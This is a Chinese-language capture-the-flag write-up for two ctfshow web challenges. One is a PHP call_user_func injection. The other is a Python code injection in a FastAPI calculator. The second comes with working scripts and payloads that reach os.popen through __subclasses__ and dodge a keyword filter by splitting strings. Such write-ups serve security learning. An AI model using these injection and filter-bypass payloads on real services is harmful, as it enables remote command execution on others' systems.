ctfshow 1024杯 部分web題解

------------恢復內容開始------------

  今年1024忙得厲害,去大上海參加geekpwn膜拜大佬,幾家平台的題目沒怎麼好好看。特別是小破站的比賽拉跨的一批,bytectf的web到了第二天晚上所有題的題解加在一起還沒有10解直接勸退(yuligeyyds!!!)。第回南京之後做了兩道1024的題目,難度偏簡單,在此記錄一下。

  1.1024_WEB簽到

  開題得源碼

  

 1 <?php
 2 
 3 /*
 4 # -*- coding: utf-8 -*-
 5 # @Author: h1xa
 6 # @Date:   2020-10-20 23:59:00
 7 # @Last Modified by:   h1xa
 8 # @Last Modified time: 2020-10-21 03:51:36
 9 # @email: [email protected]
10 # @link: //ctfer.com
11 
12 */
13 
14 error_reporting(0);
15 highlight_file(__FILE__);
16 call_user_func($_GET['f']);

  看到危險函數call_user_func($_GET['f']);  第一反應應該是上傳一句話木馬getshell,但是這裡只傳入了一個參數進行執行,還以為是什麼奇技淫巧,本地開了一個環境去測試。因為我在ubuntu的php環境是php5,所以在本地使用?f=assert(phpinfo())的時候確實是成功了,但是拿到題目環境裡面插入一句話木馬一直沒能成功,才反應過來是php版本問題。

  傳統的call_user_func 使用方法是call_user_func($func,$value),前面的是要執行的函數名字,後面是傳入函數的參數值。一般來說$func傳入的是assert,$value傳入我們要執行的程式碼以達到rce的目的(在call_user_func中不能使用eval)。

  本題因為只有一個傳入參數,並且傳入的默認為是$value,所以我們先傳入phpinfo試試,結果成功得到介面。

  通過查看phpinfo的資訊我們直接發現了一個可執行的函數:

  傳入f=ctfshow_1024執行函數得到flag,簡單粗暴。

  flag{welcome_2_ctfshow_1024_cup}

 

2.1024_fastapi

  打開題目得到的是一個json數據,看了一眼題目fastapi,百度告訴我們FastAPI是基於python3.6+和標準python類型的一個現代化的,快速的(高性能),構建api的web框架。

  • Fast: 非常高的性能,媲美nodejs和go。可用的最快的Python框架之一.
  • Fast to Code 增加了200%~300%開發功能的速度
  • Fewer Buys 減少了40%的人為開發錯誤
  • Intuitive 偉大的編輯支援。減少了debug時間。
  • Easy 簡單的使用和學習設計,減少了閱讀文檔的時間。
  • Short 減少程式碼重複,每個參數聲明的多個特性,更少的錯誤。
  • Robust 獲得生產就緒程式碼。自動交互文檔。
  • Standards-based 基於開放的標準API: OpenAPI和JSON Schema

  是python框架啊,那沒事了,盲猜ssti。掛一個萬能ssti文章://www.anquanke.com/post/id/188172。

  稍微了解了一下fastapi得知它具有方便的api文檔/redoc和/docs 在本題中我們嘗試打開得到如下介面:

  看到此站點下還有一個/cccalccc頁面,內容是一個計算器的實現,傳入參數q應該是一個可以執行的計算式,顯然我們的注入點就在這個q上面。幾次測試之後發現{payload}能夠實現注入,但是發現結果為list或string類型的都Internal Server Error或結果為空,嘗試將string切片顯示,發現成功出現回顯。編寫jio本康康有什麼可以利用的模組:

 

1 import requests
2 
3 url='//4cfb3ea5-9890-4c75-a6ef-9e64bfa8abc5.chall.ctf.show/cccalccc'
4 for i in range(500):
5     data={'q':'str([].__class__.__base__.__subclasses__()['+str(i)+'])[1:]'}
6     r=requests.post(url,data)
7     print(i        ,r.text)

 

本題的環境是python3,所以利用方式要比python2中file模組的調用複雜多了。主要是利用__builtins__中的函數進行文件讀取利用等等,而含有__builtins__的內建函數有這些:

(59, <class 'warnings.WarningMessage'>, '__builtins__')
(60, <class 'warnings.catch_warnings'>, '__builtins__')
(61, <class '_weakrefset._IterationGuard'>, '__builtins__')
(62, <class '_weakrefset.WeakSet'>, '__builtins__')
(72, <class 'site._Printer'>, '__builtins__')
(77, <class 'site.Quitter'>, '__builtins__')
(78, <class 'codecs.IncrementalEncoder'>, '__builtins__')
(79, <class 'codecs.IncrementalDecoder'>, '__builtins__')

 

可以利用的內建函數還有os和linechache等,具體情況具體分析,多看看上面給出的那篇參考文章。

  剛剛腳本跑出來的內建函數中發現了188.warnings.WarningMessage和189warnings.catch_warnings,可以進行利用

  嘗試列出當前目錄下的所有文件

  

1 import requests
2 
3 url = '//4cfb3ea5-9890-4c75-a6ef-9e64bfa8abc5.chall.ctf.show/cccalccc'
4 payload = '{str([].__class__.__base__.__subclasses__()[188].__init__.__globals__[\'__builtins__\'][\'__import__\'](\'os\').system(\'ls\'))[1:]}'
5 data = {'q':payload}
6 r = requests.post(url,data)
7 print(r.text)

//{"res":"hack out!","err":false}

 

 

  發現過濾了system和import,import嘗試使用im+port進行繞過,system使用popen代替,結尾要使用.read(),不然沒有回顯。

  關於popen:

用法:os.popen(command[,mode[,bufsize]])

說明:mode – 模式許可權可以是 『r』(默認) 或 『w』。

popen方法通過p.read()獲取終端輸出,而且popen需要關閉close().當執行成功時,close()不返回任何值,失敗時,close()返回系統返回值(失敗返回1). 可見它獲取返回值的方式和os.system不同。

  把payload改成

payload = '{str([].__class__.__base__.__subclasses__()[189].__init__.__globals__[\'__builtins__\'][\'__imp\'+\'ort__\'](\'os\').__dict__[\'pop\'+\'en\'](\'ls\').read())[1:]}'

  成功讀取到當前的文件列表:{"res":["ain.py\nstart.sh\n"],"err":false}
  因為我們使用的是切片回顯,所以第一個文件應該是main.py,m被切掉了。我們嘗試去讀取main.py的內容,結果如下:

  找到提示告訴我們flag在/mnt/f1a9裡面,直接讀取獲得flag:

  flag{ea066230-29c9-4cbb-b1b9-2e8b4edf4abf}